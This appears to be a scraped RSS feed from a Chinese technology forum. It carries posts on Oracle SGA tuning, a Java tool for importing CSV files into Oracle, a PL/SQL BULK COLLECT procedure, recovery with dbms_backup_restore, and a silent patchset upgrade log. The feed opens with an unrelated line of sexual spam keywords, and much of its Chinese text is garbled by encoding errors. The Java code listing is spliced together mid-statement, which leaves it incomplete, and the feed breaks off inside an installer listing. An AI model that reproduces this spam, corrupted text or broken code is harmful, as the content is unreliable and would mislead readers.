95后水嫩护士14p,高清第一次出血欧美,男人和女人擦j视频软件http://www.bjzhda.cnzh-cn曙海教育集團(tuán)論壇http://www.bjzhda.cnRss Generator By Dvbbs.Netofficeoffice@126.comimages/logo.gif曙海教育集團(tuán)論壇Oracle Tuning的一些總結(jié)http://www.adgdgn.cn/bbs/dispbbs.asp?BoardID=65&ID=2508&Page=1wangxinxin2010-12-11 11:13:01        本文主要是把一些Oracle Tuning的文章作了一個(gè)簡(jiǎn)單的總結(jié),力求以實(shí)際可操作為目的,配合講解部分理論知識(shí),使大部分具有一般Oracle知識(shí)的使用者能夠?qū)racle Tuning有所了解,并且能夠根據(jù)實(shí)際情況對(duì)某些參數(shù)進(jìn)行調(diào)整。關(guān)于更加詳細(xì)的知識(shí),請(qǐng)參見(jiàn)本文結(jié)束部分所提及的推薦書(shū)籍,同時(shí)由于該話題內(nèi)容太多且復(fù)雜,本文必定有失之偏頗甚至錯(cuò)誤的地方,請(qǐng)不吝賜教,并共同進(jìn)步。

1.  SGA的設(shè)置
        在Oracle Tuning中,對(duì)SGA的設(shè)置是關(guān)鍵。SGA,是指Shared Global Area , 或者是 System Global Area , 稱為共享全局區(qū)或者系統(tǒng)全局區(qū),結(jié)構(gòu)如下圖所示。


 
        對(duì)于SGA區(qū)域內(nèi)的內(nèi)存來(lái)說(shuō),是共享的、全局的,在UNIX 上,必須為oracle 設(shè)置共享內(nèi)存段(可以是一個(gè)或者多個(gè)),因?yàn)閛racle 在UNIX上是多進(jìn)程;而在WINDOWS上oracle是單進(jìn)程(多個(gè)線程),所以不用設(shè)置共享內(nèi)存段。

1.1  SGA的各個(gè)組成部分
下面用 sqlplus 查詢舉例看一下 SGA 各個(gè)組成部分的情況:
SQL> select * from v$sga;
NAME                      VALUE
--------------------              ----------
Fixed Size                   104936
Variable Size              823164928
Database Buffers          1073741824
Redo Buffers                 172032

或者
SQL> show sga
Total System Global Area   1897183720 bytes
Fixed Size                   104936 bytes
Variable Size              823164928 bytes
Database Buffers          1073741824 bytes
Redo Buffers                 172032 bytes

Fixed Size
        oracle 的不同平臺(tái)和不同版本下可能不一樣,但對(duì)于確定環(huán)境是一個(gè)固定的值,里面存儲(chǔ)了SGA 各部分組件的信息,可以看作引導(dǎo)建立SGA的區(qū)域。

Variable Size
        包含了shared_pool_size、java_pool_size、large_pool_size 等內(nèi)存設(shè)置

Database Buffers
        指數(shù)據(jù)緩沖區(qū),在8i 中包含db_block_buffer*db_block_size、buffer_pool_keep、buffer_pool_recycle 三部分內(nèi)存。在9i 中包含db_cache_size、db_keep_cache_size、db_recycle_cache_size、db_nk_cache_size。

Redo Buffers
       指日志緩沖區(qū),log_buffer。在這里要額外說(shuō)明一點(diǎn)的是,對(duì)于v$parameter、v$sgastat、v$sga查詢值可能不一樣。v$parameter 里面的值,是指用戶在初始化參數(shù)文件里面設(shè)置的值,v$sgastat是oracle 實(shí)際分配的日志緩沖區(qū)大。ㄒ?yàn)榫彌_區(qū)的分配值實(shí)際上是離散的,也不是以block 為最小單位進(jìn)行分配的),v$sga 里面查詢的值,是在oracle 分配了日志緩沖區(qū)后,為了保護(hù)日志緩沖區(qū),設(shè)置了一些保護(hù)頁(yè),通常我們會(huì)發(fā)現(xiàn)保護(hù)頁(yè)大小是8k(不同環(huán)境可能不一樣)。參考如下內(nèi)容
SQL> select substr(name,1,10) name,substr(value,1,10) value
       2 from v$parameter where name = 'log_buffer';
NAME                 VALUE
--------------------  --------------------
log_buffer              163840

SQL> select * from v$sgastat where pool is null;

POOL        NAME                       BYTES
----------- --------------------------                ----------
            fixed_sga                      104936
            db_block_buffers            1073741824
            log_buffer                     163840

SQL> select * from v$sga;

NAME                      VALUE
--------------------              ----------
Fixed Size                   104936
Variable Size               823164928
Database Buffers           1073741824
Redo Buffers                 172032

172032 – 163840 = 8192

(以上試驗(yàn)數(shù)據(jù)是在 HP B.11.11 + Oracle 8.1.7.4 環(huán)境下得到的)


1.2  SGA的大小設(shè)置
       在對(duì)SGA的結(jié)構(gòu)進(jìn)行簡(jiǎn)單分析以后,下面是關(guān)于如何根據(jù)系統(tǒng)的情況正確設(shè)置SGA大小的問(wèn)題。
SGA是一塊內(nèi)存區(qū)域,占用的是系統(tǒng)物理內(nèi)存,因此對(duì)于一個(gè)Oracle應(yīng)用系統(tǒng)來(lái)說(shuō),SGA決不是越大越好,這就需要尋找一個(gè)系統(tǒng)優(yōu)化的平衡點(diǎn)。


1.2.1  設(shè)置參數(shù)前的準(zhǔn)備
在設(shè)置SGA的內(nèi)存參數(shù)之前,我們首先要問(wèn)自己幾個(gè)問(wèn)題
一:物理內(nèi)存多大
二:操作系統(tǒng)估計(jì)需要使用多少內(nèi)存
三:數(shù)據(jù)庫(kù)是使用文件系統(tǒng)還是裸設(shè)備
四:有多少并發(fā)連接
五:應(yīng)用是OLTP 類型還是OLAP 類型


根據(jù)這幾個(gè)問(wèn)題的答案,我們可以粗略地為系統(tǒng)估計(jì)一下內(nèi)存設(shè)置。那我們現(xiàn)在來(lái)逐個(gè)問(wèn)題地討論,首先物理內(nèi)存多大是最容易回答的一個(gè)問(wèn)題,然后操作系統(tǒng)估計(jì)使用多少內(nèi)存呢?從經(jīng)驗(yàn)上看,不會(huì)太多,通常應(yīng)該在200M 以內(nèi)(不包含大量進(jìn)程PCB)。
接下來(lái)我們要探討一個(gè)重要的問(wèn)題,那就是關(guān)于文件系統(tǒng)和裸設(shè)備的問(wèn)題,這往往容易被我們所忽略。操作系統(tǒng)對(duì)于文件系統(tǒng),使用了大量的buffer 來(lái)緩存操作系統(tǒng)塊。這樣當(dāng)數(shù)據(jù)庫(kù)獲取數(shù)據(jù)塊的時(shí)候,雖然SGA 中沒(méi)有命中,但卻實(shí)際上可能是從操作系統(tǒng)的文件緩存中獲取的。而假如數(shù)據(jù)庫(kù)和操作系統(tǒng)支持異步IO,則實(shí)際上當(dāng)數(shù)據(jù)庫(kù)寫進(jìn)程DBWR寫磁盤時(shí),操作系統(tǒng)在文件緩存中標(biāo)記該塊為延遲寫,等到真正地寫入磁盤之后,操作系統(tǒng)才通知DBWR寫磁盤完成。對(duì)于這部分文件緩存,所需要的內(nèi)存可能比較大,作為保守的估計(jì),我們應(yīng)該考慮在 0.2——0.3 倍內(nèi)存大小。但是如果我們使用的是裸設(shè)備,則不考慮這部分緩存的問(wèn)題。這樣的情況下SGA就有調(diào)大的機(jī)會(huì)。
關(guān)于數(shù)據(jù)庫(kù)有多少并發(fā)連接,這實(shí)際上關(guān)系到PGA 的大。∕TS 下還有l(wèi)arge_pool_size)。事實(shí)上這個(gè)問(wèn)題應(yīng)該說(shuō)還跟OLTP 類型或者OLAP 類型相關(guān)。對(duì)于OLTP類型oracle 傾向于可使用MTS,對(duì)于OLAP 類型使用獨(dú)立模式,同時(shí)OLAP 還可能涉及到大量的排序操作的查詢,這些都影響到我們內(nèi)存的使用。那么所有的問(wèn)題綜合起來(lái),實(shí)際上主要反映在UGA的大小上。UGA主要包含以下部分內(nèi)存設(shè)置
SQL> show parameters area_size

NAME                                 TYPE    VALUE
------------------------------------               -------     --------
bitmap_merge_area_size                   integer    1048576
create_bitmap_area_size                   integer    8388608
hash_area_size                           integer     131072
sort_area_size                            integer     65536
SQL>


]]>
4月14日 從文件(*.csv或*.txt)導(dǎo)入Oracle數(shù)據(jù)庫(kù)Java源代碼http://www.adgdgn.cn/bbs/dispbbs.asp?BoardID=65&ID=2507&Page=1wangxinxin2010-12-11 11:11:37首先需要配置XML文件,如下:
<?xml version="1.0" encoding="UTF-8"?>
<root>
<DefaultImport>Employee</DefaultImport>
<TargetTable tableName="EMPLOYEE_TEST">
<!--表中對(duì)應(yīng)文件的列名和類型信息-->
<ColumnFileInfo>
   <Column name="ID" type="String"/>
   <Column name="DEP" type="String"/>
   <Column name="NAME" type="String"/>
   <Column name="AREA" type="String"/>
   <Column name="AGE" type="Number"/>
   <Column name="SEX" type="String"/>
   <Column name="XUELI" type="String"/>
   <Column name="SALARY" type="Number"/>
   <Column name="PRIX" type="Date"/>
</ColumnFileInfo>
</TargetTable>

<TargetTable tableName="YFJBXX_TEST">
   <ColumnFileInfo>
    <Column name="GLGXZJ" type="String"/>
   <Column name="YXTZJ" type="String"/>  
   <Column name="YFXM" type="String"/>   
   <Column name="JZDZ" type="String"/>   
   <Column name="JZDXZQH_DM" type="String"/>   
   <Column name="HJDZ" type="String"/>   
   <Column name="HJDXZQH_DM" type="String"/>   
   <Column name="SFZH" type="String"/>     
   <Column name="CSRQ" type="String"/>  
   <Column name="MZ_DM" type="String"/>   
   <Column name="WHCD_DM" type="String"/>
   <Column name="HKXZ_DM" type="String"/>
   <Column name="HYZK_DM" type="String"/>
   <Column name="CHRQ" type="String"/>   
   <Column name="JRXTRQ" type="String"/>
   <Column name="TCXTRQ" type="String"/>
   <Column name="TCYY_DM" type="String"/>
   <Column name="ZF_XM" type="String"/>  
   <Column name="ZF_JJDZ" type="String"/>   
   <Column name="ZF_JJDXZQHDM_DM" type="String"/>   
   <Column name="ZF_HJDZ" type="String"/>   
   <Column name="ZF_HJDXZQH_DM" type="String"/>   
   <Column name="ZF_SFZH" type="String"/>   
   <Column name="ZF_CSRQ" type="String"/>   
   <Column name="ZF_MZ_DM" type="String"/>   
   <Column name="ZF_WHCD_DM" type="String"/>
   <Column name="ZF_HKXZ_DM" type="String"/>
   <Column name="LGRZRQ" type="String"/>      
</ColumnFileInfo>
<ColumnCodeInfo>
    <Column name="LRSJ" type="Date"/>
   <Column name="SBPCH" type="String"/>
   <Column name="SBDWXZQH_DM" type="String"/>
</ColumnCodeInfo>
</TargetTable>

<ImportDealClassList>
   <Bean name="ImportDirectImpl" class="fileimport.ImportDirectImpl"/>
   <Bean name="ImportWISImpl" class="fileimport.ImportWISImpl"/>
</ImportDealClassList>
<MaxCommitNumber>5000</MaxCommitNumber>
</root>

文件中描述了2個(gè)導(dǎo)入工作:(1)表EMPLOYEE_TEST(2)表YFJBXX_TEST,文件中每張表的列名和類型需要和導(dǎo)入的目標(biāo)表一致,且順序和文件中要導(dǎo)入的內(nèi)容相匹配,例如下面的csv文件:

"ID","DEP","NAME","AREA","AGE","SEX","XUELI","SALARY","PRIX"
"001","研發(fā)","張三","北京","34","女","本科","4546","1"
"002","銷售","李四","天津","45","男","專科","4456","2"

可以看到導(dǎo)入的順序和上述XML文件中的列名一致。

如果從文件導(dǎo)入到數(shù)據(jù)庫(kù)中完全匹配,只需配置文件中的<Bean name="ImportDirectImpl" class="fileimport.ImportDirectImpl"/>即可,代碼中調(diào)用示例:
    //設(shè)置XML配置文件所在位置
    FileImportInitFactory.setConfigFileName("E:/EclipseProjects/WISImport/bin/fileimport/FileImportConfig.xml");
&nb

sp;   FileImportInitFactory.init();
    HashMap h = new HashMap(1,1);
    //如果有日期型的列,需要設(shè)置DateFormat并放入HashMap中
    h.put("DateFormat","yyyy-MM-dd HH:mm:ss");
    //執(zhí)行導(dǎo)入工作
    new ImportFileEntry().importFile("導(dǎo)入的文件路徑及名稱.csv","YFJBXX_TEST",false,"ImportDirectImpl",h);

ImportFileEntry()的importFile方法說(shuō)明:
/**
   * 從文件導(dǎo)入到指定表中
   * @param fileName String 要導(dǎo)入文件名
   * @param tableName String 導(dǎo)入目標(biāo)表名
   * @param firstLineRead boolean 是否讀取第一行
   * @param dealClass 處理類名稱(例如配置文件中Bean name="ImportDirectImpl")
   * @param aHashMap 擴(kuò)展用,需特殊處理時(shí)可置入變量
   * @throws Exception
   */
public void importFile(String fileName, String tableName, boolean firstLineRead,String dealClass,HashMap aHashMap) throws Exception ;

至此,一個(gè)簡(jiǎn)單的不需做任何處理直接從文件導(dǎo)入數(shù)據(jù)庫(kù)對(duì)應(yīng)表的功能就實(shí)現(xiàn)了。

但是有些時(shí)候我們需要進(jìn)行特殊的處理,例如表中的當(dāng)前操作日期列在導(dǎo)入文件中沒(méi)有,需要在代碼中加入,這時(shí)就需要實(shí)現(xiàn)FileImportInterface接口并加入到配置文件中例如:<Bean name="ImportWISImpl" class="fileimport.ImportWISImpl"/>,ImportWISImpl的實(shí)現(xiàn)代碼見(jiàn)后續(xù)代碼清單。

t;);
            columnListInfoCode[i][0] = columnName;
            columnListInfoCode[i][1] = columnType;
            System.out.println("Code columnName:" + columnName + " columnType:" + columnType);
          }
        }
        //生成實(shí)例
        ImportTableInfoBO importAction = new ImportTableInfoBO();
        importAction.setTableName(tableName);
        importAction.setColumnNamesFile(columnListInfoFile);
        if (columnListInfoCode != null) {
          importAction.setColumnNamesCode(columnListInfoCode);
        }
        //放入靜態(tài)容器中
        importJobList.put(tableName, importAction);
      }
      //2.其他配置信息
      Element importDealClassList = (Element) eroot.getElementsByTagName("ImportDealClassList").item(0);
      String className;
      String classFullName;
      NodeList beanList = importDealClassList.getElementsByTagName("Bean");
      for (int j=0; j < beanList.getLength(); j++){
        className = ( (Element) beanList.item(j)).getAttribute("name");
        classFullName = ( (Element) beanList.item(j)).getAttribute("class");
        dealClassList.put(className,classFullName);
      }
     
      System.out.println("importJobList.size()" + importJobList.size());
      System.out.println("dealClassList.size()" + dealClassList.size());

 

;      insertNum = 1;
        } else {
          insertNum++;
        }
      }
    } catch (Exception e) {
      e.printStackTrace();
      //---寫入數(shù)據(jù)庫(kù)待加入----
      //log.error(e.getMessage());
    }
}

public void close() {
    if (conn != null) {
      try {
        if (conn != null) {
          DbUtils.commitAndClose(conn);
        System.out.println("close end");
        }
      } catch (SQLException e) {
        e.printStackTrace();
        //log.error(e.getCause());
      }
    }
}

/**
   *
   * @param dateString String
   * @param format String
   * @return Date
   */
public Date formatDate(String dateString,String format){
    try{
      SimpleDateFormat f = new SimpleDateFormat(format);
      return f.parse(dateString);
    }catch(Exception e){
      return null;
    }
}

}


八、調(diào)用示例
package fileimport;

import java.util.HashMap;

public class ImportFileExample {
public ImportFileExample() {
}
public static void main(String[] args) {
   try {
     String ls = "c:/temp/employee_test.csv";

]]>
Oracle PLSQL中用pro進(jìn)行 BULK COLLECT 的高效率查詢處理http://www.adgdgn.cn/bbs/dispbbs.asp?BoardID=65&ID=2506&Page=1wangxinxin2010-12-11 11:09:53過(guò)程樣例:
create or replace procedure real_user as
  c_count number(10);
begin

  DECLARE
    TYPE mobile_type IS TABLE OF mobile_dabenying.mobile%TYPE;  --按表字段類型來(lái)定義變量類型
    t_mobile mobile_type := mobile_type();
  
  BEGIN
    select mobile BULK COLLECT  --批量選擇數(shù)據(jù)
      INTO t_mobile
      from (select mobile from mobile_dabenying order by mobile);
  
    if (t_mobile.COUNT > 0) then
      FOR i IN t_mobile.FIRST .. t_mobile.LAST LOOP
      
        select count(*)  --從號(hào)段中過(guò)濾
          into c_count
          from mobile_region
         where t_mobile(i) between start_mobile and end_mobile;
      
        if (c_count > 0) then
          c_count := 0;
          insert into mobile_dabenying2 (mobile) values (t_mobile(i));  --真實(shí)用戶
        else
          dbms_output.put_line(t_mobile(i));
          insert into mobile_dabenying3 (mobile) values (t_mobile(i));  --假用戶
        end if;
      
      END LOOP;
    end if;
  
  END;

end;]]>
Oracle備份恢復(fù)之利用dbms_backup_restore恢復(fù)數(shù)據(jù)庫(kù)http://www.adgdgn.cn/bbs/dispbbs.asp?BoardID=65&ID=2505&Page=1wangxinxin2010-12-11 11:08:29引用
RMAN> run {
2> allocate channel ch00 device type disk;
3> backup database include current controlfile format '/backup/full%t' tag='FULLDB';
4> sql 'alter system archive log current';
5> backup archivelog all format '/backup/arch%t' tag='ARCHIVELOG';
6> release channel ch00;
7> }

allocated channel: ch00
channel ch00: sid=17 devtype=DISK

Starting backup at 20-JAN-10
channel ch00: starting full datafile backupset
channel ch00: specifying datafile(s) in backupset
including current controlfile in backupset
input datafile fno=00001 name=/app/oracle/oradata/ora9i/system01.dbf
input datafile fno=00002 name=/app/oracle/oradata/ora9i/undotbs01.dbf
input datafile fno=00005 name=/app/oracle/oradata/ora9i/example01.dbf
input datafile fno=00011 name=/app/oracle/oradata/ora9i/STREAM01.dbf
input datafile fno=00010 name=/app/oracle/oradata/ora9i/xdb01.dbf
input datafile fno=00006 name=/app/oracle/oradata/ora9i/indx01.dbf
input datafile fno=00009 name=/app/oracle/oradata/ora9i/users01.dbf
input datafile fno=00003 name=/app/oracle/oradata/ora9i/cwmlite01.dbf
input datafile fno=00004 name=/app/oracle/oradata/ora9i/drsys01.dbf
input datafile fno=00007 name=/app/oracle/oradata/ora9i/odm01.dbf
input datafile fno=00008 name=/app/oracle/oradata/ora9i/tools01.dbf
channel ch00: starting piece 1 at 20-JAN-10
channel ch00: finished piece 1 at 20-JAN-10
piece handle=/backup/full708756233 comment=NONE
channel ch00: backup set complete, elapsed time: 00:02:26
Finished backup at 20-JAN-10

Starting Control File and SPFILE Autobackup at 20-JAN-10
piece handle=/app/oracle/product/9.0.2/dbs/c-2494723682-20100120-00 comment=NONE
Finished Control File and SPFILE Autobackup at 20-JAN-10

sql statement: alter system archive log current

Starting backup at 20-JAN-10
current log archived
channel ch00: starting archive log backupset
channel ch00: specifying archive log(s) in backup set
input archive log thread=1 sequence=1 recid=254 stamp=708756150
input archive log thread=1 sequence=2 recid=255 stamp=708756383
input archive log thread=1 sequence=3 recid=256 stamp=708756383
channel ch00: starting piece 1 at 20-JAN-10
channel ch00: finished piece 1 at 20-JAN-10
piece handle=/backup/arch708756383 comment=NONE
channel ch00: backup set complete, elapsed time: 00:00:02
Finished backup at 20-JAN-10

Starting Control File and SPFILE Autobackup at 20-JAN-10
piece handle=/app/oracle/product/9.0.2/dbs/c-2494723682-20100120-01 comment=NONE
Finished Control File and SPFILE Autobackup at 20-JAN-10

released channel: ch00

假設(shè)現(xiàn)在數(shù)據(jù)庫(kù)異常宕機(jī)
引用
SQL> shutdown abort
ORACLE instance shut down

啟動(dòng)數(shù)據(jù)庫(kù)至nomount狀態(tài)
引用
SQL> startup nomount
ORACLE instance started.

Total System Global Area 1125193868 bytes
Fixed Size                   452748 bytes
Variable Size             335544320 bytes
Database Buffers          788529152 bytes
Redo Buffers                 667648 bytes

1、利用dbms_backup_restore恢復(fù)控制文件
引用

SQL> DECLARE
  2  devtype varchar2(256);
  3  done boolean;
  4  BEGIN
  5  devtype := dbms_backup_restore.DeviceAllocate(type => '',ident => 'testctl');
  6  dbms_backup_restore.RestoresetdataFile;
  7  dbms_backup_restore.RestoreControlFileto('/app/oracle/oradata/ora9i/control01.ctl');
  8  dbms_backup_restore.RestoreBackupPiece('/backup/full708756233',done => done);
  9  dbms_backup_restore.RestoresetdataFile;
10  dbms_backup_restore.RestoreControlFileto('/app/oracle/oradata/ora9i/control02.ctl');
11  dbms_backup_restore.RestoreBackupPiece('/backup/full708756233',done => done);
12  dbms_backup_restore.RestoresetdataFile;
13  dbms_backup_restore.RestoreControlFileto('/app/oracle/oradata/ora9i/control03.ctl');
14  dbms_backup_restore.RestoreBackupPiece('/backup/full708756233',done => done);
15  dbms_backup_restore.DeviceDeallocate;
16  END;
17  /

PL/SQL procedure successfully completed.

當(dāng)然也已可用rman進(jìn)行控制文件恢復(fù)
引用
RMAN> restore controlfile from '/app/oracle/product/9.0.2/dbs/c-2494723682-20100120-00';

Starting restore at 20-JAN-10

using channel ORA_DISK_1
channel ORA_DISK_1: restoring controlfile
channel ORA_DISK_1: restore complete
replicating controlfile
input filename=/app/oracle/oradata/ora9i/control01.ctl
output filename=/app/oracle/oradata/ora9i/control02.ctl
output filename=/app/oracle/oradata/ora9i/control03.ctl
Finished restore at 20-JAN-10


2、利用dbms_backup_restore恢復(fù)數(shù)據(jù)文件
引用
SQL> DECLARE
  2  devtype varchar2(256);
  3  done boolean;
  4  BEGIN
  5  devtype := dbms_backup_restore.DeviceAllocate (type => '',ident => 'testdatafile');
  6  dbms_backup_restore.RestoreSetDatafile;
  7  dbms_backup_restore.RestoreDatafileTo(dfnumber => 1,toname => '/app/oracle/oradata/ora9i/system01.dbf');
  8  dbms_backup_restore.RestoreDatafileTo(dfnumber => 2,toname => '/app/oracle/oradata/ora9i/undotbs01.dbf');
  9  dbms_backup_restore.RestoreBackupPiece(done => done,handle => '/backup/full708756233', params => null);
10  dbms_backup_restore.DeviceDeallocate;
11  END;
12  /



PL/SQL procedure successfully completed.

3、利用dbms_backup_restore恢復(fù)歸檔日志
引用
SQL> DECLARE
  2  devtype varchar2(256);
  3  done boolean;
  4  BEGIN
  5  devtype := dbms_backup_restore.DeviceAllocate (type => '',ident => 'testarchlog');
  6  dbms_backup_restore.RestoreSetArchivedLog(destination=>'/app/oracle/product/9.0.2/dbs/arch');
  7  dbms_backup_restore.RestoreArchivedLog(thread=>1,sequence=>1);
  8  dbms_backup_restore.RestoreArchivedLog(thread=>1,sequence=>2);
  9  dbms_backup_restore.RestoreArchivedLog(thread=>1,sequence=>3);
10  dbms_backup_restore.RestoreBackupPiece(done => done,handle => '/backup/arch708756383', params => null);
11  dbms_backup_restore.DeviceDeallocate;
12  END;
13  /

PL/SQL procedure successfully completed.

]]>
Oracle 靜默模式升級(jí)數(shù)據(jù)庫(kù)http://www.adgdgn.cn/bbs/dispbbs.asp?BoardID=65&ID=2504&Page=1wangxinxin2010-12-11 11:07:00引用
$ oslevel -r
5300-06

升級(jí)步驟大致如下:
1、編輯升級(jí)介質(zhì)中的../Disk1/response/patchset.rsp文件,主要編輯以下條目
UNIX_GROUP_NAME="oinstall"
FROM_LOCATION="/oracle/Disk1/stage/products.xml"
ORACLE_HOME="/oracle/app/oracle/product/10.2/db_2"
ORACLE_HOME_NAME="OUIHome2"
注意ORACLE_HOME_NAME可以從../oraInventory/ContentsXML/inventory.xml文件中HOME NAME獲取。
2、升級(jí)Oracle軟件,刷新數(shù)據(jù)字典,不再贅述
引用
$ ./runInstaller -silent -ignoreDiskWarning -responseFile /oracle/Disk1/response/patchset.rsp

3、執(zhí)行root.sh
引用
$ su
root's Password:
# /oracle/app/oracle/product/10.2/db_2/root.sh
Running Oracle10 root.sh script...

The following environment variables are set as:
    ORACLE_OWNER= oracle
    ORACLE_HOME=  /oracle/app/oracle/product/10.2/db_2

Enter the full pathname of the local bin directory: [/usr/local/bin]:
The file "dbhome" already exists in /usr/local/bin.  Overwrite it? (y/n) [n]:
The file "oraenv" already exists in /usr/local/bin.  Overwrite it? (y/n) [n]:
The file "coraenv" already exists in /usr/local/bin.  Overwrite it? (y/n) [n]:

Entries will be added to the /etc/oratab file as needed by
Database Configuration Assistant when a database is created
Finished running generic part of root.sh script.
Now product-specific root actions will be performed.


附升級(jí)過(guò)程顯示日志:

引用
$ ./runInstaller -silent -ignoreDiskWarning -responseFile /oracle/Disk1/response/patchset.rsp
********************************************************************************

Your platform requires the root user to perform certain pre-installation
OS preparation.  The root user should execute '/usr/sbin/slibclean' on all the nodes before
you proceed with Patchset Installation.

Answer 'y' if root has run '/usr/sbin/slibclean' so you can proceed with Oracle
Patchset installation.
Answer 'n' to abort installation and then ask root to run '/usr/sbin/slibclean'.

********************************************************************************
Has '/usr/sbin/slibclean' been run by root? [y/n] (n)
y

Starting Oracle Universal Installer...

Checking installer requirements...

Checking operating system version: must be 5200, 5300 or 6100
                                      Passed


All installer requirements met.

Preparing to launch Oracle Universal Installer from /tmp/OraInstall2010-02-27_03-32-47AM. Please wait ...$ Oracle Universal Installer, Version 10.2.0.4.0 Production
Copyright (C) 1999, 2008, Oracle. All rights reserved.

You can find a log of this install session at:
/oracle/app/oracle/oraInventory/logs/installActions2010-02-27_03-32-47AM.log
.................................................................................................... 100% Done.


Loading Product Information
.......................................................................................................... 100% Done.


Starting execution of Prerequisites...
Total No of checks: 2

Performing check for checkToInstallCCR
Checking the Components installed in Oracle Home
Check complete. The overall result of this check is: Passed


Check complete: Passed
=======================================================================
Performing check for CompatibilityChecks
Checking for Oracle Home incompatibilities ...
Check complete. The overall result of this check is: Passed


Check complete: Passed
=======================================================================
PrereqChecks complete


Analyzing dependencies
............................................................................................................. 100% Done.


-----------------------------------------------------------------------------
Summary
Global Settings
    Source: /oracle/Disk1/stage/products.xml
    Oracle Home: /oracle/app/oracle/product/10.2/db_2 (OUIHome2)
Product Languages
   English
Space Requirements
   /oracle/ Required 3.81GB : Available 7.82GB
   /tmp/ Required 142MB (only as temporary space) : Available 146MB
New Installations (80 products)
   Oracle Notification Service Patch 10.2.0.4.0
   Database Configuration and Upgrade Assistants Patch 10.2.0.4.0
   Character Set Migration Utility Patch 10.2.0.4.0
   Oracle Database 10g Patch 10.2.0.4.0
   Oracle JDBC/OCI Instant Client Patch 10.2.0.4.0
   Oracle Database 10g Patch 10.2.0.4.0
   Enterprise Manager plugin Common Files Patch 10.2.0.4.0
   SQL*Plus 10.2.0.4.0
   HAS Common Files Patch 10.2.0.4.0
   HAS Files for DB Patch 10.2.0.4.0
   Oracle Java Client Patch 10.2.0.4.0
   Oracle JVM Patch 10.2.0.4.0
   Oracle Internet Directory Client Patch 10.2.0.4.0
   iSQL*Plus 10.2.0.4.0
   Oracle Advanced Security Patch 10.2.0.4.0
   Oracle Net Patch 10.2.0.4.0
   Oracle Net Listener Patch 10.2.0.4.0
   Oracle Wallet Manager Patch 10.2.0.4.0
   Precompiler Common Files Patch 10.2.0.4.0
   Secure Socket Layer Patch 10.2.0.4.0
   Oracle OLAP Patch 10.2.0.4.0
   Oracle OLAP API Patch 10.2.0.4.0
   OLAP SQL Scripts Patch 10.2.0.4.0
   Oracle interMedia Client Option Patch 10.2.0.4.0
   Oracle Database 10g interMedia Files Patch 10.2.0.4.0
   Oracle interMedia Patch 10.2.0.4.0
   PL/SQL Embedded Gateway Patch 10.2.0.4.0
   Oracle XML Development Kit Patch 10.2.0.4.0
   Oracle Text Patch 10.2.0.4.0
   Oracle Clusterware RDBMS Files Patch 10.2.0.4.0
   Database SQL Scripts Patch 10.2.0.4.0
   Oracle Data Mining RDBMS Files Patch 10.2.0.4.0
   Generic Connectivity Common Files Patch 10.2.0.4.0
   Installation Common Files Patch 10.2.0.4.0
   Oracle Starter Database Patch 10.2.0.4.0
   Sample Schema Data Patch 10.2.0.4.0
   Oracle interMedia Locator RDBMS Files Patch 10.2.0.4.0
   Oracle Call Interface (OCI) Patch 10.2.0.4.0
   Oracle OLAP RDBMS Files Patch 10.2.0.4.0
   Oracle Partitioning Patch 10.2.0.4.0
   PL/SQL 10.2.0.4.0
   Oracle Recovery Manager Patch 10.2.0.4.0
   Oracle Database Utilities Patch 10.2.0.4.0
   Oracle interMedia Locator Patch 10.2.0.4.0
   XML Parser for Java Patch 10.2.0.4.0
   Assistant Common Files Patch 10.2.0.4.0
   Oracle JDBC Thin Driver for JDK 1.2 Patch 10.2.0.4.0
   Oracle JDBC Thin Driver for JDK 1.4 Patch 10.2.0.4.0
   Oracle interMedia Java Advanced Imaging Patch 10.2.0.4.0
   SQLJ Runtime Patch 10.2.0.4.0
   XML Parser for Oracle JVM Patch 10.2.0.4.0
   Enterprise Manager Agent DB 10.2.0.4.0
   Enterprise Manager Baseline 10.2.0.4.0
   Oracle Enterprise Manager Console DB 10.2.0.4.0
   XDK Required Support Files Patch 10.2.0.4.0
   Agent Required Support Files Patch 10.2.0.4.0
   DBJAVA Required Support Files Patch 10.2.0.4.0
   LDAP Required Support Files Patch 10.2.0.4.0
   Precompiler Required Support Files Patch 10.2.0.4.0
   Oracle RAC Required Support Files-HAS Patch 10.2.0.4.0
   RDBMS Required Support Files for Instant Client Patch 10.2.0.4.0
   RDBMS Required Support Files Patch 10.2.0.4.0
   SQL*Plus Required Support Files Patch 10.2.0.4.0
   SSL Required Support Files for InstantClient Patch 10.2.0.4.0
   Oracle Net Required Support Files Patch 10.2.0.4.0
   Oracle Globalization Support Patch 10.2.0.4.0
   Oracle Core Required Support Files Patch 10.2.0.4.0
   Platform Required Support Files 10.2.0.4.0
   Oracle Message Gateway Common Files Patch 10.2.0.4.0
   Enterprise Manager Agent Core Patch 10.2.0.4.0a
   Enterprise Manager Common Core Patch 10.2.0.4.0a
   Enterprise Manager Repository Core patch 10.2.0.4.0a
   Oracle Containers for Java 10.2.0.4.0
   Enterprise Manager Repository DB 10.2.0.4.0
   Oracle LDAP administration patch 10.2.0.4.0
   Oracle Required Support Files 32 bit Patch 10.2.0.4.0
   JDBC Common Files 10.2.0.4.0
   Database Workspace Manager 10.2.0.4.0
   Oracle Configuration Manager 10.2.7.1.0
   Oracle Real Application Testing 10.2.0.4.0
Upgrades (5 products)
   Oracle Universal Installer 10.2.0.4.0
   Oracle One-Off Patch Installer 10.2.0.4.0
   Installer SDK Component 10.2.0.4.0
   Java Runtime Environment 1.4.2.14.0
   Sun JDK 1.4.2.14.0
Already Installed (78 products)
   Oracle Notification Service 10.1.0.3.0
   Database Configuration and Upgrade Assistants 10.2.0.1.0
   Character Set Migration Utility 10.2.0.1.0
   Oracle Database 10g 10.2.0.1.0
   Oracle JDBC/OCI Instant Client 10.2.0.1.0
   Oracle Database 10g 10.2.0.1.0
   Enterprise Manager plugin Common Files 10.2.0.1.0
   SQL*Plus 10.2.0.1.0
   HAS Common Files 10.2.0.1.0
   HAS Files for DB 10.2.0.1.0
   Oracle Java Client 10.2.0.1.0
   Oracle JVM 10.2.0.1.0
   Oracle Internet Directory Client 10.2.0.1.0
   iSQL*Plus 10.2.0.1.0
   Oracle Advanced Security 10.2.0.1.0
   Oracle Net 10.2.0.1.0
   Oracle Net Listener 10.2.0.1.0
   Oracle Wallet Manager 10.2.0.1.0
   Precompiler Common Files 10.2.0.1.0
   Secure Socket Layer 10.2.0.1.0
   Oracle OLAP 10.2.0.1.0
   Oracle OLAP API 10.2.0.1.0
   OLAP SQL Scripts 10.2.0.1.0
   Oracle interMedia Client Option 10.2.0.1.0
   Oracle Database 10g interMedia Files 10.2.0.1.0
   Oracle interMedia 10.2.0.1.0
